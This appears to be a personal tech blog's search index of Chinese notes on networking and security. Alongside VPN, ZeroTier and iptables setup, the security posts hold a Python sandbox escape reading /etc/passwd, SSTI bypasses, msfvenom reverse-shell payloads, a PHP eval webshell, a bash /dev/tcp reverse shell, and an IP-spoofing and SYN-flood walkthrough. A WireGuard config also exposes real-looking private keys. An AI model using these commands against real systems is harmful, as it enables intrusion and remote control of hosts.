'_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>] # 获得第40个子类的一个实例,即一个file实例 >>> \"\".__class__.__mro__[2].__subclasses__()[40] <type 'file'> # 对file初始化 >>> \"\".__class__.__mro__[2].__subclasses__()[40](\"/etc/passwd\") <open file '/etc/passwd', mode 'r' at 0x10397a8a0> # 使用file的read属性读取,但发现是个方法 >>> \"\".__class__.__mro__[2].__subclasses__()[40](\"/etc/passwd\").read <built-in method read of file object at 0x10397a5d0> # 使用read()方法读取 >>> \"\".__class__.__mro__[2].__subclasses__()[40](\"/etc/passwd\").read() nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false root:*:0:0:System Administrator:/var/root:/bin/sh"},{"title":"SSTI","path":"2023/09/04/Network/Safety/SSTI/","text":"SSTI变量和语句基本概念{%%} 声明变量 {{}}将表达式打印到模板输出 未包含在模板中的注释 访问变量属性.或者[] {{\"\".__class__}} {{\"\"['__classs__']}} 过滤规则_ \\x5f [] attr() request.args. {{()|attr(request.args.x1)}}&x1=??&x2=?? . \\x2E |attr() '+' SSTI中存在类似linux的管道| 可以用 {{\"\"|attr()}}代替.或[]"},{"title":"msf使用","path":"2023/09/04/Network/Safety/msf使用/","text":"msf使用metasploit 流程msfconsole search [ms17_010] 查找漏洞 use [] 选择漏洞 show options 查看参数 session 查看会话 session [num] 选择会话 run vnc 后门msvenom -p [payload] lhost=[] lport=[] -f(format) exe -o(output) file_name.exe 监听use exploit/multi/handler 攻击主机 生成木马linux : msvenom -p linux/x64/meterpreter/reverse_tcp lhost=[host] -p=[port] -f elf -o .elf win: msvenom -p windows/meterpreter/reverse_tcp lhost=[host] -p=[port] -f exe -o .exe 监听木马handler -p [] lhost=[] -p [] use exploit/multi/handler set run"},{"title":"信息收集","path":"2023/09/04/Network/Safety/信息收集/","text":"信息收集信息: web路径 敏感文件 指纹信息(www.yunsee.cn , finger.tidsee.net) CMS信息(http://whatweb.bugscaner.com/look/) WAF识别(wafw00f sqlmap) sslscan WAF(web application firewall)web应用程序防火墙,可以防范sql注入,xss,进行木马探测 域名 顶级域名:.com .cn .org .net 二级域名:xxxx.com 三级域名:xxxx.xxxx.com whois查询查询建站者信息 google hackingintext: 网页内容作为搜索 inurl: 网址作为搜索 intitle: 网页标题作为搜索 cache: 搜索缓存,过期内容 filetype:T name 搜索类型文件,定义类型和名字 site: 在指定网站下搜索 allin** 指定多个关键字 “” 把引号内作为整体搜索 and 与,一起搜索 or 或,搜索多个关键字 link: 搜索某个网站链接 1.找管理后台地址 site:http://xxx.com intext:管理、后台、登录、用户名、密码、系统、帐号 site:http://xxx.com inurl:login、admin、manage、manager、admin_login、system site:http://xxx.com intitle:管理、后台、登陆 2.找上传类漏洞地址 site:http://xxx.com inurl:file site:http://xxx.com inurl:upload 3.找注入页面 site:http://xxx.com inurl:php?id= 4.找编辑器页面 site:http://xxx.com inurl:ewebeditor 子域名获取google hacking fofa.info zoomeye.org quake.360.cn chaziyu.com phpinfo.me 子域挖掘机 LayerDomainFinder 端口dynamic port动态端口,没有服务可以正式注册占用 45192-65535 web扫描工具Railgun 集成工具 资产灯塔系统ALP"},{"title":"Youtube-dl下载","path":"2023/09/04/Network/Stream media/Youtube-dl下载/","text":"Youtube-dl下载youtube-dl --download-archive log.txt \"https://www.youtube.com/playlist?list=PLP5yb_kS9Bc4ARlmr6_PHZc0BkLUx31wF\" --external-downloader aria2c --external-downloader-args \"-x 16 -k 1M\" --no-check-certificate"},{"title":"攻击方式","path":"2023/09/04/Network/Safety/攻击方式/","text":"攻击方式Linux基础& 都执行 ; 都执行 && 与前面成功才会执行后面 | 管道,前面输出作为后面输入 || 或,前面成功,后面不执行 php攻击<?php eval($_POST[\"cmd\"]); ?> 小马 反弹shellbash -i >& /dev/tcp/192.168.25.144/8888 0>&1 >&是对文件描述符的拷贝,是将0[标准输入]重定向到了1[标准输出]指向的位置,以写方式 <&以读方式 >&还会将标准错误输出合并到标准输出中"},{"title":"直播流","path":"2023/09/04/Network/Stream media/直播流/","text":"StreamLive直播协议 Http-Flv 利用flv持续传输分片视频 Hls 通过先提供一级index file指向若干个二级index file(实现了清晰度的划分),二级index file指向不同的ts分片视频文件 Catcher Flv 审查元素中选取fetch找到带宽利用最多的文件(.flv),其url即为直播的链接 Hls(youtube是唯一一个源代码直接找到.m3u8链接的平台) noncode:审查元素中选取media寻找.m3u8链接 primary-encode(加了token):审查元素中选取fetch寻找.m3u8链接 encode:js解密/移动端获取真实链接再使用桌面端密钥观看 Video"},{"title":"Nat类型","path":"2023/09/04/Network/组网/Nat类型/","text":"Nat类型Full cone nat 全锥形nat无条件转发 Restricted cone nat地址受限锥形nat与内网发生通讯的外网主机才能进行nat Port restricted cone nat端口受限锥形nat在前者基础添加外网主机端口,通讯过的外网主机特定端口发送的数据可以nat symmetric nat 对称nat不进行转发 client(192.168.0.3, 100)和server(1.1.1.1, 1111)在路由器上建立好映射关系后,如果这个时候路由器(8.8.8.8)在800端口上收到从另外一台server(2.2.2.2, 2222)发来的数据,是不是应该转发给(192.168.0.3, 100)呢? 有四种情况: 1, 无条件转发给(192.168.0.3, 100), 这就是全锥型(Full Cone)NAT。 2, 如果(192.168.0.3, 100)之前给(2.2.2.2)发送过数据,则转发, 这就是受限锥型(Restricted Cone)。 3, 如果(192.168.0.3, 100)之前给(2.2.2.2, 2222)发送过数据,则转发, 这就是端口受限锥型(Port Restricted Cone)。 4, 丢弃报文,拒绝转发, 这就是对称型NAT。"},{"title":"Wireguard","path":"2023/09/04/Network/组网/Wireguard/","text":"Wireguard Config Template [Interface] Address = 10.77.0.1/24,fd77:77:77::1/64 ListenPort = 59831 PrivateKey = ODS9kt3XxBgo0KfVXb6XEPqsSaEOtBOL915l7LLtwEY= PostUp = iptables -I INPUT -p udp --dport 59831 -j ACCEPT PostUp = iptables -I FORWARD -i eth0 -o wraywg -j ACCEPT PostUp = iptables -I FORWARD -i wraywg -j ACCEPT PostUp = iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE PostUp = ip6tables -I FORWARD -i wraywg -j ACCEPT PostUp = ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE PostDown = iptables -D INPUT -p udp --dport 59831 -j ACCEPT PostDown = iptables -D FORWARD -i eth0 -o wraywg -j ACCEPT PostDown = iptables -D FORWARD -i wraywg -j ACCEPT PostDown = iptables -t nat -D POSTROUTING -o eth0 -j MASQUERADE PostDown = ip6tables -D FORWARD -i wraywg -j ACCEPT PostDown = ip6tables -t nat -D POSTROUTING -o eth0 -j MASQUERADE ### Client wray-win [Peer] PublicKey = HwUbJ5U2q6xBugfAlH4h/k8cCwSVk6IYnSdC2rEhRSY= PresharedKey = oRkrgeKD0YbRPvb+EdTQc657s2vEImo+IqJT31MN+m4= AllowedIPs = 10.77.0.2/32,fd77:77:77::2/128 ### Client wray-arch [Peer] PublicKey = LjrmgkjWVFBYSASXLYQbw3Kg6Qffc8CeIyIf4vvQbRY= PresharedKey = 6vtre1Y1/BuC3kqc9cBDcR7y+FK/HDxnnhQtdf9qgWs= AllowedIPs = 10.77.0.3/32,fd77:77:77::3/128 ### Client starstudiofdr [Peer] PublicKey = OYToCgnrLC8zE3hSAFBXCo4Gqg437Ll40gRX7+CKswQ= PresharedKey = QqI86bY4Q3XraFpli/pNKX+QBKjsF2y9YON5OpnolpA= AllowedIPs = 10.77.0.4/32,fd77:77:77::4/128 Startsystemctl start wg-quick@[insteface] / wg-quick up [interface] autostartsystemctl enable wg-quick@[interface] ProxyPostUp = iptables -A FORWARD -i wraywg -j ACCEPT; iptables -t nat -A POSTROUTING -o ens18 -j MASQUERADE; ip6tables -A FORWARD -i wraywg -j ACCEPT; ip6tables -t nat -A POSTROUTING -o ens18 -j MASQUERADE # Add forwarding when VPN is started PostDown = iptables -D FORWARD -i wraywg -j ACCEPT; iptables -t nat -D POSTROUTING -o ens18 -j MASQUERADE; ip6tables -D FORWARD -i wraywg -j ACCEPT; ip6tables -t nat -D POSTROUTING -o ens18 -j MASQUERADE # Remove forwarding when VPN is shutdown"},{"title":"traceroute原理","path":"2023/09/04/Network/组网/traceroute原理/","text":"traceroute原理经过的路由如果出现错误会返回一个错误包,可以利用ttl超时错误,不断增加ttl就可以依次根据返回的报错包拿到路由地址 #python实现traceroute from scapy.all import * # 构造 IP 数据包,设置目标地址为不存在的地址 ip = IP(dst='192.0.2.255', ttl=1) # 发送数据包并接收 ICMP \"Time-to-live exceeded\" 错误消息 ans, unans = sr(ip/ICMP(), timeout=1) # 输出接收到的错误消息 ans.summary() 基于udp发送给一个大于30000的端口,看返回错误是是TTL超时(还未到达目标主机)还是端口不可达(到达目标主机) 返回的带有服务器信息的包名称为time-to-live exceeded即ttl exceeded 可以修改ttl exceeded ip头来更改traceroute返回信息<IP 包头欺骗(IP Spoofing)> 包中ttl-1可隐藏自己的路由 包中修改ttl 同时配置 DNat 即可改变路由信息 假设B上的客户运行rlogin与A上的rlogind通信: B发送带有SYN标志的数据段通知A需要建立TCP连接。并将TCP报头中的sequence number设 置成自己本次连接的初始值ISN。 A回传给B一个带有SYS+ACK标志的数据段,告之自己的ISN,并确认B发送来的第一个数据段 ,将acknowledge number设置成B的ISN+1。 B确认收到的A的数据段,将acknowledge number设置成A的ISN+1。 B —- SYN —-> AB <—- SYN+ACK —- AB —- ACK —-> A TCP使用的sequence number是一个32位的计数器,从0-4294967295。 TCP为每一个连接选择一个初始序号ISN,为了防止因为延迟、重传等扰乱三次握手,ISN不能随便选取,不同系统有不同算法。理解TCP如何分配ISN以及ISN随时间变化的规律,对于成功地进行IP欺骗攻击很重要。 基于远程过程调用RPC的命令,比如rlogin、rcp、rsh等等,根据/etc/hosts.equiv以及$HOME/.rhosts文件进行安全校验,其实质是仅仅根据信源IP地址进行用户身份确认,以便允许或拒绝用户RPC。 #通过设置iptables规则来filter指定信息 iptables -t nat -A POSTROUTING -p tcp -s <your_server_ip> --dport <target_port> -j SNAT --to-source 8.8.8.8 #从服务器发送的TCP流量的源地址更改为8.8.8.8 iptables -t nat -A PREROUTING -p tcp -d <your_server_ip> --dport <target_port> -j DNAT --to-destination 8.8.8.8 #将服务器上目标端口TCP流量的目标地址更改为8.8.8.8,到达另一个地址 iptables -t nat -A OUTPUT -p icmp --source [源ip(即服务器ip)] -j DNAT --to-destination 8.8.8.8 #包被转发到8.8.8.8,出现自己服务器ip iptables -t nat -A POSTROUTING -p icmp --icmp-type time-exceeded -j TTL --ttl-set 255 -j DNAT --to-destination [ip] #路径中不存在自己服务器,目标变为目标ip 基于icmp发送icmp回显请求(echo request)数据包,客户端收到会发送icmp回显应答(icmp reply)数据包 第一个路由的TTL=1,之后递增1,根据ttl的超时报错,依次拿到路径上的路由地址,直到获得icmp reply # 伪装的第一种方法 IP sproofing IP欺骗攻击的描述: 1. 假设Z企图攻击A,而A信任B,所谓信任指/etc/hosts.equiv和$HOME/.rhosts中有相关设置 。注意,如何才能知道A信任B呢?没有什么确切的办法。我的建议就是平时注意搜集蛛丝马迹 ,厚积薄发。一次成功的攻击其实主要不是因为技术上的高明,而是因为信息搜集的广泛翔实 。动用了自以为很有成就感的技术,却不比人家酒桌上的巧妙提问,攻击只以成功为终极目标 ,不在乎手段。 2. 假设Z已经知道了被信任的B,应该想办法使B的网络功能暂时瘫痪,以免对攻击造成干扰。 著名的SYN flood常常是一次IP欺骗攻击的前奏。请看一个并发服务器的框架: int initsockid, newsockid; if ((initsockid = socket(...)) < 0) { error(\"can‘t create socket\"); } if (bind(initsockid, ...) < 0) { error(\"bind error\"); } if (listen(initsockid, 5) < 0) { error(\"listen error\"); } for (;{ newsockid = accept(initsockid, ...); /* 阻塞 */ if (newsockid < 0) { error(\"accept error\"); } if (fork() == 0) { /* 子进程 */ close(initsockid); do(newsockid); /* 处理客户方请求 */ exit(0); } close(newsockid); } listen函数中第二个参数是5,意思是在initsockid上允许的最大连接请求数目。如果某个时 刻initsockid上的连接请求数目已经达到5,后续到达initsockid的连接请求将被TCP丢弃。注 意一旦连接通过三次握手建立完成,accept调用已经处理这个连接,则TCP连接请求队列空出 一个位置。所以这个5不是指initsockid上只能接受5个连接请求。SYN flood正是一种 Denial of Service,导致B的网络功能暂时中断 Z向B发送多个带有SYN标志的数据段请求连接,注意将信源IP 地址换成一个不存在的主机X;B 向子虚乌有的X发送SYN+ACK数据段,但没有任何来自X的ACK出现。B的IP层会报告B的TCP层,X 不可达,但B的TCP层对此不予理睬,认为只是暂时的。于是B在这个initsockid上再也不能接 收正常的连接请求。 Z(X) ---- SYN ----> B Z(X) ---- SYN ----> B Z(X) ---- SYN ----> B Z(X) ---- SYN ----> B Z(X) ---- SYN ----> B ...... X <---- SYN+ACK ---- B X <---- SYN+ACK ---- B X <---- SYN+ACK ---- B X <---- SYN+ACK ---- B X <---- SYN+ACK ---- B ...... 我认为这样就使得B网络功能暂时瘫痪,可我总觉得好象不对头。 因为B虽然在initsockid上无法接收TCP连接请求,但可以在another initsockid上接收, 这种SYN flood应该只对特定的服务(端口),不应该影响到全局。当然如果不断地发送连接请 求,就和用ping发洪水包一个道理,使得B的TCP/IP忙于处理负载增大。至于SYN flood,回头 有机会我单独灌一瓢有关DoS的。如何使B的网络功能暂 碧被居 很多办法,根据具体情况而定 ,不再赘述。 3. Z必须确定A当前的ISN。首先连向25端口(SMTP是没有安全校验机制的),与1中类似,不过 这次需要记录A的ISN,以及Z到A的大致的RTT(round trip time)。这个步骤要重复多次以便求 出RTT的平均值。现在Z知道了A的ISN基值和增加规律(比如每秒增 加128000,每次连接增加 64000),也知道了从Z到A需要RTT/2 的时间。必须立即进入攻击,否则在这之间有其他主机与 A连接, ISN将比预料的多出64000。 4. Z向A发送带有SYN标志的数据段请求连接,只是信源IP改成了B,注意是针对TCP513端口 (rlogin)。A向B回送SYN+ACK数据段,B已经无法响应,B的TCP层只是简单地丢弃A的回送数据 段。 5. Z暂停一小会儿,让A有足够时间发送SYN+ACK,因为Z看不到这个包。然后Z再次伪装成B向A 发送ACK,此时发送的数据段带有Z预测的A的ISN+1。如果预测准确,连接建立,数据传送开始 。问题在于即使连接建立,A仍然会向B发送数据,而不是Z,Z 仍然无法看到A发往B的数据段 ,Z必须蒙着头按照rlogin协议标准假冒B向A发送类似 \"cat + + >> ~/.rhosts\" 这样的命令 ,于是攻击完成。如果预测不准确,A将发送一个带有RST标志的数据段异常终止连接,Z只有 从头再来。 Z(B) ---- SYN ----> A B <---- SYN+ACK ---- A Z(B) ---- ACK ----> A Z(B) ---- PSH ----> A ...... 6. IP欺骗攻击利用了RPC服务器仅仅依赖于信源IP地址进行安全校验的特性,建议阅读 rlogind的源代码。攻击最困难的地方在于预测A的ISN。我认为攻击难度虽然大,但成功的可 能性也很大,不是很理解,似乎有点矛盾。考虑这种情况,入侵者控制了一台由A到B之间的路 由器,假设Z就是这台路由器,那么A回送到B的数据段,现在Z是可以看到的,显然攻击难度骤 然下降了许多。否则Z必须精确地预见可能从A发往B的信息,以及A期待来自B的什么应答信息 ,这要求攻击者对协议本身相当熟悉。同时需要明白,这种攻击根本不可能在交互状态下完成 ,必须写程序完成。当然在准备阶段可以用netxray之类的工具进行协议分析。 7. 如果Z不是路由器,能否考虑组合使用ICMP重定向以及ARP欺骗等技术?没有仔细分析过, 只是随便猜测而已。并且与A、B、Z之间具体的网络拓扑有密切关系,在某些情况下显然大幅 度降低了攻击难度。注意IP欺骗攻击理论上是从广域网上发起的,不局限于局域网,这也正是 这种攻击的魅力所在。利用IP欺骗攻击得到一个A上的shell,对于许多高级入侵者,得到目标 主机的shell,离root权限就不远了,最容易想到的当然是接下来进行buffer overflow攻击。 8. 也许有人要问,为什么Z不能直接把自己的IP设置成B的?这个问题很不好回答,要具体分 析网络拓扑,当然也存在ARP冲突、出不了网关等问题。那么在IP欺骗攻击过程中是否存在ARP 冲突问题。回想我前面贴过的ARP欺骗攻击,如果B的ARP Cache没有受到影响,就不会出现ARP 冲突。如果Z向A发送数据段时,企图解析A的MAC地址或者路由器的MAC地址,必然会发送ARP请 求包,但这个ARP请求包中源IP以及源MAC都是Z的,自然不会引起ARP冲突。而ARP Cache只会 被ARP包改变,不受IP包的影响,所以可以肯定地说,IP欺骗攻击过程中不存在ARP冲突。相反 ,如果Z修改了自己的IP,这种ARP冲突就有可能出现,示具体情况而言。攻击中连带B一起攻 击了,其目的无非是防止B干扰了攻击过程, 如果B本身已经down掉,那是再好不过。 9. fakeip曾经沸沸扬扬了一下,我对之进行端口扫描,发现其tcp端口113是接收入连接的。 和IP欺骗等没有直接联系,和安全校验是有关系的。当然,这个东西并不如其名所暗示,对IP 层没有任何动作。 10. 关于预测ISN,我想到另一个问题。就是如何以第三方身份切断 A与B之间的TCP连接,实 际上也是预测sequence number的问题。尝试过,也很困难。如果Z是A与B之间的路由器,就不 用说了; 或者Z动用了别的技术可以监听到A与B之间的通信,也容易些; 否则预测太难。作 者在3中提到连接A的25端口,可我想不明白的 是513端口的ISN和25端口有什么关系?看来需 要看看TCP/IP内部实现的源代码。 未雨绸缪 虽然IP欺骗攻击有着相当难度,但我们应该清醒地意识到,这种攻击非常广泛,入侵往往由这 里开始。预防这种攻击还是比较容易的, 比如删除所有的/etc/hosts.equiv、$HOME/.rhosts 文件,修改/etc/ inetd.conf文件,使得RPC机制无法运做,还可以杀掉portmapper等等。设 置路由器,过滤来自外部而信源地址却是内部IP的报文。cisio公司的产品就有这种功能。不 过路由器只防得了外部入侵,内部入侵呢? TCP的ISN选择不是随机的,增加也不是随机的,这使攻击者有规可循,可以修改与ISN相关的 代码,选择好的算法,使得攻击者难以找到规律。估计Linux下容易做到,那solaris、irix、 hp-unix还有aix呢?sigh 虽然写的不怎么,但总算让大家了解了一下IP欺骗攻击,我实验过预测sequence number,不 是ISN,企图切断一个TCP连接,感觉难度很大。作者建议要找到规律,不要盲目预测,这需要 时间和耐心。现在越发明白什么是那种锲而不舍永远追求的精神,我们所向往的传奇故事背后 有着如此沉默的艰辛和毅力,但愿我们学会的是这个,而不是浮华与喧嚣。一个现成的bug足 以让你取得root权限,可你在做什么,你是否明白?我们太肤浅了...... # 伪装的第二种方法 Bgp hijacking Bgp劫持 通过修改AS宣告信息将流量路由到不属于自己的线路上 ## 路径修改方法 Bgp选路有三个参数 - local preference 本地优先值 - med 通过延迟的综合考虑选出了优先路径 - weight 手动设置的线路权重"},{"title":"wireguard配置","path":"2023/09/04/Network/组网/wireguard配置/","text":"Wireguard配置一键配置curl -O https://raw.githubusercontent.com/angristan/wireguard-install/master/wireguard-install.sh && chmod +x wireguard-install.sh && ./wireguard-install.sh"},{"title":"zerotier转发(iptables配置)","path":"2023/09/04/Network/组网/zerotier转发(iptables配置)/","text":"网络三层NAT配置方法(linux主机) 假设zerotier虚拟局域网的网段是192.168.192.0 局域网A 192.168.1.0 局域网B 192.168.2.0 (如果需要互联)在局域网A和B中需要各有一台主机安装zerotier并作为两个内网互联的网关 分别是192.168.1.10(192.168.192.10) 192.168.2.10(192.168.192.20)#括号里面为虚拟局域网的IP地址 1. 在zerotier网站的networks里面的Managed Routes下配置路由表,增加如下内容#如果单向连接,仅需填写下方一个即可. #本地网络段 via 远端ZeroTier IP 192.168.1.0/24 via 192.168.192.10 192.168.2.0/24 via 192.168.192.20 2. 开启内核转发echo \"net.ipv4.ip_forward = 1\" >> /etc/sysctl.conf #与zt以外网卡互通 zerotier-cli set [zt网络号] allowGlobal=1 zerotier-cli set [zt网络号] allowDefault=1 sysctl -p 3. 防火墙设置sudo iptables -A FORWARD -i ztly53odaw -o eth0 -j ACCEPT sudo iptables -A FORWARD -i eth0 -o ztly53odaw -m state --state RELATED,ESTABLISHED -j ACCEPT #或 #sudo iptables -A FORWARD -i eth0 -o ztly53odaw -j ACCEPT sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE #不中断原始流量下路由流量 iptables-save 参考: Route between ZeroTier and Physical Networks - ZeroTier Knowledge Base - Confluence (atlassian.net)https://zerotier.atlassian.net/wiki/spaces/SD/pages/224395274/Route+between+ZeroTier+and+Physical+Networks #物理网卡 eth0; #ZeroTier虚拟网卡 zt7nnig26 #你可以在路由器ssh环境中用 ifconfig 查询 #ZeroTier一般以zt开头 #可以根据IP地址判断 sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE sudo iptables -A FORWARD -i eth0 -o ztly53odaw -m state --state RELATED,ESTABLISHED -j ACCEPT # state 报错的话用这个 #sudo iptables -A FORWARD -i eth0 -o ztly53odaw -j ACCEPT sudo iptables -A FORWARD -i ztly53odaw -o eth0 -j ACCEPT iptables-save #保存配置到文件,否则重启规则会丢失. #sudo 看系统, 不一定要带 旧版zerotier “cannot bind local interface port”或无法接入网络处理killall -9 zerotier-one //杀死zerotier所有进程 netstat -lp | grep zero //查看9993端口是否被占用 zerotier-one -d //启动zerotier客户端 zerotier-cli listnetworks //列出连接的zerotier网络 #旧版orbit无法使用则用生成的签名放入moons.d 看到status这一项为ACCESS_DENIED说明端口绑定成功"},{"title":"zerotier自建planet","path":"2023/09/04/Network/组网/zerotier自建planet/","text":"zerotier自建planet使用作者的docker, 最终中心节点显示为leaf, 测试移动4g和电信宽带延迟为500ms, 到中心节点分别为120ms和40ms, 实际没有走自定义的节点.经过研究, 需要再进行设置. 提供下思路, 如下: compose需要增加ports: ‘9993:9993’和’9993:9993/udp’, 服务器和防火墙也得放行 进入容器, 生成moon.json 拷贝moon.json到宿主机, 修改stableEndpoints 在宿主机用mkmoonworld-x86生成行星文件 把修改后的moon.json拷回容器, 在容器内生成moon文件, 创建moons.d文件夹, 放进去. 拷贝一份到宿主机备用 把行星文件替换回容器 重启容器 把客户端的planet文件替换 安卓端的话, 实测单独加载planet不生效. 加载moon文件, 关闭官方行星节点, 生效 具体参考 https://github.com/xubiaolin/docker-zerotier-planet 里面的代码实现和各种生成moon教程 ######## 仅供参考 ######### 下载 git clone https://github.com/Jonnyan404/zerotier-planet cd zerotier-planet vim docker-compose.yml 修改 ### 参考 ### date:2021年11月29日 ### author: www.mrdoc.fun | jonnyan404 ### 转载请保留来源 version: '2.0' services: ztncui: container_name: ztncui restart: always environment: # - MYADDR=公网地址(不设置该项自动获取) - MYADDR=127.0.0.1 # 改成自己的服务器公网ip - HTTP_PORT=3443 - HTTP_ALL_INTERFACES=yes - ZTNCUI_PASSWD=root ports: - '3443:3443' # 设置网页的端口 - '9993:9993' # 作为中心节点,提供9993端口给客户端用,一般是9993 - '9993:9993/udp' volumes: - './zerotier-one:/var/lib/zerotier-one' - './ztncui/etc:/opt/key-networks/ztncui/etc' # 按实际路径挂载卷, 冒号前面是宿主机的, 支持相对路径 image: keynetworks/ztncui 运行 docker-compose up -d docker images # 查看镜像 docker container ps -a # 查看容器 docker exec -it ztncui bash # 进入容器 # 在容器内操作 cd /var/lib/zerotier-one ls -l # 生成moon配置文件 zerotier-idtool initmoon identity.public > moon.json chmod 777 moon.json 新建一个terminal, 在容器外修改moon.json, 位置对应挂载位置 修改stableEndpoints, 注意格式和实际公网ip { "id": "b72b5e9e1a", "objtype": "world", "roots": [ { "identity": "b72b5e9e1a:0:a892e51d2ef94ef941e4c499af01fbc2903f7ad2fd53e9370f9ac6260c2f5d2484fd90756bec0c410675a81b7cf61d2bb885783bd6a8c28bce83bcab5f03fe14", "stableEndpoints": ["127.0.0.1/9993"] } ], "signingKey": "45f0613e569a0549c74293c39b30495b594a003534290e8ade9ef82877aa7505d7a73eeabfc22c97c404e4caaf9f3c9eed2b134d696935c966e28f523364f15f", "signingKey_SECRET": "cc6afd67e7b7f84a92e2c8d3c2e7212c71e2ad0a4f5b3c03bf60ab1cd3b99281b57d9a2958d2bd8fc2bc77fdf2a1160099c2c61d3d9acc8cb311673ee120b4a6", "updatesMustBeSignedBy": "45f0613e569a0549c74293c39b30495b594a003534290e8ade9ef82877aa7505d7a73eeabfc22c97c404e4caaf9f3c9eed2b134d696935c966e28f523364f15f", "worldType": "moon" } 在容器内生成moon文件 zerotier-idtool genmoon moon.json mkdir moons.d cp *.moon moons.d/ 在容器外生成planet文件 拷贝一份moon文件, 客户端可以用到 下载mkmoonworld, 拷贝moon.json, 放在一个目录下 ./mkmoonworld-x86_64 ./moon.json mv world.bin planet - ``` # 复制到容器内 docker cp ./planet ztncui:/var/lib/zerotier-one 重启容器 docker restart ztncui docker exec -it ztncui bash # 进入容器 # 在容器内操作 cd /var/lib/zerotier-one # 查看moon zerotier-cli listmoons 访问ip+端口对应的设置页面 替换客户端的planet文件并重启服务, 再加入网络, 在网页端授权"},{"title":"zerotier配置","path":"2023/09/04/Network/组网/zerotier配置/","text":"zerotier配置mooncd /var/lib/zerotier-one #定位到主机的密钥位置 sudo zerotier-idtool initmoon identity.public > moon.json #生成moon配置 修改stableEndpoints参数 \"主机ip/9993\" 并保存推出 zerotier-idtool genmoon moon.json #生成签名 mkdir moons.d mv 00000*.moon moons.d/ 最后复制签名文件到客户端 linux位于/var/lib/zerotier-one/moons.d 自行创建moons.d文件夹 windows位于C:\\Programdata\\zerotier\\one\\moons.d 自行创建moons.d文件夹 路由转发开启内核转发功能sudo sysctl -w net.ipv4.ip_forward=1 v6同理 更优选择 echo \"net.ipv4.ip_forward=1\" >> /etc/sysctl.conf echo \"net.ipv6.conf.default.forwarding=1\" >> /etc/sysctl.conf echo \"net.ipv6.conf.all.forwarding=1\" >> /etc/sysctl.conf sysctl -p 关闭严格模式 echo \"net.ipv4.conf.default.rp_filter=0\" >> /etc/sysctl.conf echo \"net.ipv4.conf.all.rp_filter=0\" >> /etc/sysctl.conf sysctl -p 解释 rp_filter 是 Linux 内核针对网络的一项网络安全保护功能,对于数据包的来源地址和来源网络界面(网卡)进行检查: 如果设置为 0(即禁用),放行所有数据包。 但是有些无法正常回复(路由表内没有对应项目)的数据包也会被发给应用程序处理,消耗额外的系统资源。 不过额外消耗应该很小,因此上述两项设置为 0 也没问题。 如果设置为 1(严格模式),如果数据包来源网卡不是发送这个数据包的最优网卡(也就是如果你本机要回复这个地址的话,会选择一张不同的网卡),就把这个数据包 丢掉 。 来源和回复在不同网卡是 DN42 内非常常见的情况,因此 千万 一定 绝对 不能把 rp_filter 设置成 1! 如果设置为 2(宽松模式), 从理论上来说 ,如果数据包来源地址不在路由表内(也就是本机不知道要怎么回复这个地址),就把这个数据包丢掉。 但是理论归理论,在新版本(5.0+)的内核中,实际使用中依然会有大量来源地址正确的正常数据包被丢弃。因此不要使用这个模式,请统一使用 0。 然后,千万 一定 绝对 关掉你的 UFW 等帮你简单配置 iptables 防火墙的工具。 添加防火墙规则sudo iptables -t nat -A POSTROUTING -o $PHY_IFACE -j MASQUERADE sudo iptables -A FORWARD -i $PHY_IFACE -o $ZT_IFACE -m state --state RELATED,ESTABLISHED -j ACCEPT sudo iptables -A FORWARD -i $ZT_IFACE -o $PHY_IFACE -j ACCEPT iptables-save #保存"},{"title":"ssh多私钥管理","path":"2023/09/04/Network/Server/ssh/ssh多私钥管理/","text":"#Windows 上是 ~/.ssh/config #Linux 上是 /etc/ssh/ssh_config # # # 别名(Host):Host 和 HostName 的值可以相同 # 如 ssh aliyun,在这里等于 ssh -i C:\\Users\\Think\\.ssh\\id_rsa_aliyun [email protected] # 用别名登录会使用别名下的配置,不用别名登录(如IP)不会使用别名下的配置 Host aliyun User root HostName 144.90.100.144 # 私钥文件位置 IdentityFile \"~/.ssh/id_rsa_aliyun\" Host tencent User root HostName 100.28.144.47 IdentityFile \"~/.ssh/id_rsa_tencent\""},{"title":"计算机组网","path":"2023/09/04/Network/组网/计算机组网/","text":"计算机组网LANWANospf bgp ppp"},{"title":"iptables","path":"2023/09/04/Network/Server/iptables/iptables/","text":"iptablesiptables -A (FORWARD/INPUT/OUTPUT/POSTROUTING)模式 -i 入口 -o 出口 -t nat -j MASQUERADE(自动选择nat模式) sysctl -w net.ipv4.conf.all.forwarding=1 sysctl -w net.ipv6.conf.all.forwarding=1 iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE iptables -t mangle -A POSTROUTING -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --clamp-mss-to-pmtu ip6tables -t mangle -A POSTROUTING -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --clamp-mss-to-pmtu Bridgeip link add taps_bridge type bridge ip link set taps_bridge up ip address add $SERVER_IP6/64 dev taps_bridge ip address add $SERVER_LOCAL_IP/16 dev taps_bridge"},{"title":"Hello World","path":"2019/11/30/hello-world/","text":"Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub. Quick StartCreate a new post$ hexo new \"My New Post\" More info: Writing Run server$ hexo server More info: Server Generate static files$ hexo generate More info: Generating Deploy to remote sites$ hexo deploy More info: Deployment Post and Remove post Update your repository hexo d -g"}]